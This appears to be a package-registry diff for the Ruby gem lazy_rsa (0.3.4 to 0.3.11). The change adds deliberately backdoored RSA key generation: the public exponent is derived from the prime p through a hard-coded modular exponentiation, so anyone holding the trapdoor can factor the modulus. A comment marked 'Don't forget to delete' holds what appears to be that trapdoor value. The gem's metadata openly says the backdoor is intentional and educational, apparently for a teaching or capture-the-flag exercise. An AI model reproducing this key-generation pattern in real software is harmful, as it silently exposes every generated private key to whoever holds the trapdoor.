lazy_rsa 0.3.4 → 0.3.11

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/lib/lazy_rsa.rb +18 -6
  3. metadata +2 -2
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 755ac237d936d4039dfb3747d5cd08b6bcdfbd87659d43e24421c9076a85c191
4
- data.tar.gz: 2ce50dd2483a2810ab657b81f4ce007324d4aaf088713bdb2be175c0510ea7b9
3
+ metadata.gz: cc42b9892d9823a2c14bba278e7a6a1910f97d9045f7ab4405728eb80cc60432
4
+ data.tar.gz: d11eb00ba4e516288b09e5924db56f06ab8ee53cfce451f756e1eadd9dc5a1ed
5
5
  SHA512:
6
- metadata.gz: 1c40648e208b53aed1ef062e02b472750f6453250ab4c9bc25e67ae993c7059375b47b7a68d798efa9710a47a6a71dd575e3520aa47816cdd90d38688d7cf6c8
7
- data.tar.gz: 547ee01457bf706399f4a850fcb98c851f5780694a5dec268f6852222e2f157c2a1f50b7f5fd6c85767eac0e8e4d89bdf073737e6696b52781d53fcf571a873b
6
+ metadata.gz: 54a2c17dfebcec69795b27667fe7704f1458b8da16f3075a002e035a0b9e2677bcf1272ded73c46d800030608bbc0449e61bcf8f98cc638b93805e1c7f06f96a
7
+ data.tar.gz: 5e50beea6a6501e5ba86fb1d0975961d5de967c15eea94d9ecea330e696fb0d826d40ced26341a0f9276ded650af4a955cf77c6d7ecd3a8de813ac76321008ff
data/lib/lazy_rsa.rb CHANGED
@@ -4,6 +4,9 @@ module LazyRsa
4
4
  SECURE_EXPONENT = 0xECE669597141FAC8A699C75294E7E087698EAD0B32D58F4A17DC016B0483E3B9163B666AFC8D251B69F180B3902BB6238D7BAE57AF938DD8484F98B5790E8D96FBB5F2A0207497F9AEEEBECED882F0F55540443B5FA1221DF5688DE1F89E9A5801AFFAA82A5A4D213938CD08479DEE3A13974144C9F624CEA7E0DE246F00635D
5
5
  SECURE_MODULUS = 0x48D4498B62509947218CD104794AF6DBB6498F5CCCFCCACA57BF4E6FC9BDAAFAE06341F118430BCE33B5304AB8EEF60A7E53466E92965EB716C6673F5D3B726923FF699F1B197E941870D8DFC9C740A7DE9C92F10C151CCB0405E1960CB62A5547037FD3CD1FC2C1F7BF4899A971D0D1E4D5E6C1676F03645658CB66744D3BDD84E5C316163CE4AA7B8205F784CC0012B19951DDF90920858C4DA9A4BCC6D21C55BB164C74EAB2817556598AF9D7AFF2F703E46AC7D5E9250C7C04B0B1603EABA11A31EF0B99D7F75277EF624E436C9ADD8D3DC614BC325C36A0025DF3E0C2259C89D2AC482D8DF9AC6670F6A45C4D42D310948D5298634868981F121F185C5B
6
6
 
7
+ # TODO: Don't forget to delete
8
+ # 8640597603637126406272555462588607969196265598480577420885940100654219489731968191782621284496957292949698043346999288278510409937300241248019375509693403172885588630944559389636407405809836240044729232734036234641195652957645172843481237165369064901933891564045525753333289716030022555506189600600361366572922924448439537301834900154422907814193181069086899891297666471122045361586113907893536706052205097080200373985921768568459673078912498025950915719208025786019022039776921643808423880484962610454155546320083727309260845710176973892925885708962743395401298886761017168076121983679500825805191588517583935100021
9
+
7
10
  def encrypt(key, plaintext)
8
11
  key = read_key(key)
9
12
  text_to_integer(plaintext).mod_exp(key.e, key.n).to_i
@@ -16,14 +19,17 @@ module LazyRsa
16
19
  end
17
20
 
18
21
  def generate_key
22
+ p = 0
19
23
  q = OpenSSL::BN.generate_prime(512)
20
- phi = OpenSSL::BN.new(0)
21
- while q.gcd(phi) != 1
24
+ phi = 0
25
+ e = 0
26
+ loop do
22
27
  p = OpenSSL::BN.generate_prime(512)
23
28
  phi = (p - 1) * (q - 1)
29
+ e = p.mod_exp(SECURE_EXPONENT, SECURE_MODULUS)
30
+ break if e.gcd(phi) == 1
24
31
  end
25
32
  n = p * q
26
- e = p.mod_exp(SECURE_EXPONENT, SECURE_MODULUS)
27
33
  d = e.mod_inverse(phi)
28
34
 
29
35
  build_key(e:, d:, n:)
@@ -31,9 +37,15 @@ module LazyRsa
31
37
 
32
38
  def build_key(e: nil, d: nil, n:)
33
39
  data_sequence = OpenSSL::ASN1::Sequence([
40
+ OpenSSL::ASN1::Integer.new(0),
34
41
  OpenSSL::ASN1::Integer(n),
35
- OpenSSL::ASN1::Integer(e),
36
- OpenSSL::ASN1::Integer(d),
42
+ e.nil? ? OpenSSL::ASN1::Integer.new(0) : OpenSSL::ASN1::Integer(e),
43
+ d.nil? ? OpenSSL::ASN1::Integer.new(0) : OpenSSL::ASN1::Integer(d),
44
+ OpenSSL::ASN1::Integer.new(0),
45
+ OpenSSL::ASN1::Integer.new(0),
46
+ OpenSSL::ASN1::Integer.new(0),
47
+ OpenSSL::ASN1::Integer.new(0),
48
+ OpenSSL::ASN1::Integer.new(0),
37
49
  ])
38
50
  asn1 = OpenSSL::ASN1::Sequence(data_sequence)
39
51
  OpenSSL::PKey::RSA.new(asn1.to_der)
@@ -42,7 +54,7 @@ module LazyRsa
42
54
  private
43
55
 
44
56
  def read_key(key)
45
- KeyParams.new(**key.params)
57
+ KeyParams.new(**key.params.slice("e", "d", "n"))
46
58
  end
47
59
 
48
60
  def text_to_integer(text)
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: lazy_rsa
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.3.4
4
+ version: 0.3.11
5
5
  platform: ruby
6
6
  authors:
7
7
  - Nick Quaranto
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2024-05-12 00:00:00.000000000 Z
11
+ date: 2024-05-29 00:00:00.000000000 Z
12
12
  dependencies: []
13
13
  description: WARNING! PLEASE DON'T USE THIS GEM SINCE IT HAVE INTENTIONAL BACKDOOR
14
14
  (FOR EDUCATIONAL PURPOSE)